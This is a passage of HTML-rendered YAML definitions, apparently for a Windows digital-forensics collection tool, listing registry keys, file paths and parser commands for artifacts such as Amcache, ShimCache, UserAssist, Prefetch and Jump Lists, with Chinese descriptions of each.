leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">auditpol</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/get</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/subcategory:&#34;Process</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Creation&#34;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">auditpol</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/get</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/subcategory:&#34;进程创建&#34;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsAmcache</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">|-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上 Amcache 是一个用于记录系统上执行过的程序及其信息的数据库。</span><span leaf=""><br/></span><span leaf="">  它主要用于取证调查和安全分析，因为它会在后台自动收集和保存可执行文件的元数据，包括程序路径、首次运行时间、文件哈希值等信息。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">.\tools\AmcacheParser.exe</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-f&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">C:\Windows\appcompat\Programs\Amcache.hve</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--csv&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%temp%&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%current_user_temp%%/*_Amcache_*.csv&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf=""><a href="https://github.com/EricZimmerman/AmcacheParser" target="_blank">https://github.com/EricZimmerman/AmcacheParser</a></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsShimCache</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上的ShimCache（全名 Application Compatibility Cache，应用兼容性缓存）是 Windows</span><span leaf=""><br/></span><span leaf="">  操作系统用于程序兼容性支持的一个内部机制。它最常被数字取证、安全分析和溯源调查用来判断某个可执行文件曾经是否在系统上运行过，即使这个文件和日志都已经被删除，ShimCache</span><span leaf=""><br/></span><span leaf="">  也可能有残留记录。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session</span><span leaf=""><br/></span><span leaf="">          Manager\AppCompatCache</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsUserAssist</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上 UserAssist 是 Windows</span><span leaf=""><br/></span><span leaf="">  注册表中的一个特殊分支，用于记录用户通过图形界面（如开始菜单、桌面、资源管理器等）运行过的程序的信息。它最初的目的是帮助 Windows</span><span leaf=""><br/></span><span leaf="">  统计和优化“常用程序”列表，但在数字取证和行为审计中非常有价值，因为它能反映出用户实际交互打开过哪些程序及其次数和最后时间。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\*</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsMUICache</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上 MUICache 是 Windows</span><span leaf=""><br/></span><span leaf="">  操作系统中的⼀个功能，⽤于记录和缓存多语⾔⽤户界⾯（MUI）⽂件的信息。它主要⽤于加快多语⾔应⽤程序的启动速度，并提供对多语⾔资源的访问⽀持。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\ShellNoRoam\MUICache</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\MUICache</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Classes\Local</span><span leaf=""><br/></span><span leaf="">          Settings\Software\Microsoft\Windows\Shell\MuiCache</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsRunMRU</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">|-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上 RunMRU 是注册表中的一个条目，用于记录“运行”对话框（Win+R 或开始菜单 &gt; 运行）历史输入的命令。</span><span leaf=""><br/></span><span leaf="">  它能反映出用户近期通过“运行”窗口手动输入过哪些路径、命令、网址等，对于用户操作溯源和数字取证非常有用。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsAppCompatFlags</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  AppCompatFlags 注册表键（AppCompatFlags Registry Keys）是 Windows</span><span leaf=""><br/></span><span leaf="">  操作系统应用程序兼容性机制（Application Compatibility, Shim</span><span leaf=""><br/></span><span leaf="">  Engine）的一部分。它用于记录和配置针对特定可执行文件的兼容性设置、强制沙箱、强制以管理员权限运行等信息。这些信息既可能是系统自动生成，也可以是用户手动配置（比如在程序右键属性里“兼容性”选项卡里的设置）。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_KEY</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\*\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\*\*\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_USERS\%%users_sid%%\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\*\*\*\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\*\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\*\*\</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">          NT\CurrentVersion\AppCompatFlags\*\*\*\</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsPrefetch</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">|-</span><span leaf=""><br/></span><span leaf="">  Prefetch 是 Windows 操作系统为加快程序启动速度而设计的程序预读机制，也是一类特殊的磁盘文件（不是注册表项！）和相关分析术语。</span><span leaf=""><br/></span><span leaf="">  在数字取证领域，Prefetch 文件可以用来判断某个程序是否被运行过、运行过多少次、最后一次运行时间等信息。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_VALUE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session</span><span leaf=""><br/></span><span leaf="">            Manager\Memory Management\PrefetchParameters</span><span leaf=""><br/></span></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">EnablePrefetcher</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">PATH</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">C:\Windows\Prefetch\</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsApplicationExperience</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  Application-Experience（应用体验，常缩写为 AE 或 AppCompat）是 Windows</span><span leaf=""><br/></span><span leaf="">  操作系统的一个系统服务和相关组件，主要用于应用兼容性和用户体验改进。</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">它包括一系列后台服务、注册表项和日志，用于：</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">检测和记录应用兼容性问题</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">支持“兼容性助手”弹窗和建议（如“此程序可能没有正确安装”之类提示）</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">辅助</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">安装、升级和程序运行的平滑化</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">记录部分程序的安装、卸载、运行等操作的相关信息</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">这些机制有助于微软收集兼容性数据，改进后续系统和补丁，同时也为数字取证分析提供了一些痕迹。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience*.evtx</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsJumpLists</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  Jump Lists（跳转列表）是 Windows 7</span><span leaf=""><br/></span><span leaf="">  及以后引入的一项功能，用于记录和展示用户最近或常用打开的文件、文件夹、网址等操作历史，并通过任务栏和开始菜单为用户提供快速访问入口。它不仅提升了用户体验，也为取证分析提供了重要的用户操作轨迹。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">PATH</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_appdata%%\Microsoft\Windows\Recent\AutomaticDestinations\&#39;</span><span leaf=""><br/></span><span leaf="">        - &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span 